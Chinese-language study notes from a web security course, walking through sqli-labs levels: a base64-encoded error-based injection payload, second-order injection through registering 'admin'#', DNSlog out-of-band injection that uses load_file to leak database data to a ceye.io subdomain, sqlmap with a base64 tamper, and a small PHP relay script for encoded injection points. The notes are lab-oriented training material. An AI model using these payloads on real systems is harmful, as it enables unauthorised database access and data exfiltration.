2021-11-13加解密,二次,load_file&dnslog等


小迪v17

在这里插入图片描述

加解密
sqlilabs-page2-less21

可以看到对 cookie 进行了 base64 的处理
在这里插入图片描述

在这里插入图片描述
使用报错注入

')union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x#

进行base64加密

在这里插入图片描述
二次注入

在这里插入图片描述
sqli-less-24 二次注入

已知存在用户 admin(线上靶场当然不知道),
在这里插入图片描述
注册代码似乎对注册用户和密码 特殊字符转义
在这里插入图片描述
注册使用 admin'# ,修改密码UPDATE。这里引号闭合,所以修改的就是admin的密码。
在修改密码代码里没有对username 特殊符号转义
在这里插入图片描述

可以登录admin
在这里插入图片描述


load_file&dnslog带外注入
需要高权限进行文件读写操作,有不能回显的情况

参考: https://www.cnblogs.com/-qing-/p/10623583.html
https://blog.csdn.net/he_han_san/article/details/90108106
可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

平台:ceye,io
CEYE.IO平台,它通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,Dnslog就是存储在DNS Server上的域名信息

它会给我们一个三级域名,访问会被记录。
在这里插入图片描述

select load_file('\\\\查询语句.xxxx.ceye.io\\aaa')
比如查询版本:(select version()) 
select load_file('\\\\(select version()) .xxxx.ceye.io\\aaa')

如果load_file报错,因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,不能加载文件

show variables like '%secure%'; #查看secure_file_priv

在这里插入图片描述

通过设置my.ini
添加

[mysqld]
secure_file_priv=""
#可以load_flie任意磁盘的文件。
#重启

在这里插入图片描述

select * from users where id=1 and if((select load_file(concat('',(select version()),'.xxxxx.ceye.io//abc'))),0,1);

重新试一下可以看到记录,显示了版本号。
在这里插入图片描述

https://www.cnblogs.com/-qing-/p/10623583.html
这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)


使用工具DnslogSqlinj(需要python2环境)
打开 config文件配置地址和api
在这里插入图片描述


这里记录下 配置python2的心酸
电脑因为python2 和python3共存导致很多问题

1.首先升级python2 的pip的版本,这里要先下载
pip(10.0.1),然后再在线升级。

https://blog.csdn.net/qq_32670879/article/details/80654694
python2 -m pip install xxxx  #安装模块

在这里插入图片描述
按照提示一路安装缺失的模块
在这里插入图片描述
最后
在这里插入图片描述


sqli Less-9
题目基于时间的GET单引号盲注,无论输入什么都返回一样,这里需要我们使用延时函数来来判断语句是否执行。节省时间使用工具DnslogSqlinj。

工具给了格式命令
在这里插入图片描述
自己根据现实情况来判断 是否有’ --+
获取当前用户和数据库

输入: -u "http://127.0.0.1/sqlilabs/Less-9/?id=1' and ({})--+"

在这里插入图片描述
获取所有数据库

输入: -u "http://127.0.0.1/sqlilabs/Less-9/?id=1' and ({})--+"--dbs

在这里插入图片描述


sqlmap 加密 中转注入

sqlmap目录结构:https://blog.csdn.net/qq_21500173/article/details/53648696
使用: https://blog.csdn.net/smli_ng/article/details/106026901
https://blog.csdn.net/weixin_46709219/article/details/109672641

sqlmap tamper引用插件

找到一个base64加密的 id=1 ,可以直接使用插件base64encode.py

sqlmap -u http://xxxx.com/xxx.php?id=MQ== --tamper base64encode.py –dbs

在这里插入图片描述
这里跟着老师学习写一个脚本加密注入点, 可以看到提交get请求x被加密拼接到了url中

<?php 
$url = "http://www.xxxxx/xxxxx.php?ID=";
$payload = base64_encode($_GET['x']);
$urls = $url.$payload;
file_get_contents($urls);
echo $urls;
?>

在这里插入图片描述使用sqlmap 来测试注入点x

python sqlmap.py -u "http://127.0.0.1/base64id.php?x=" -v 3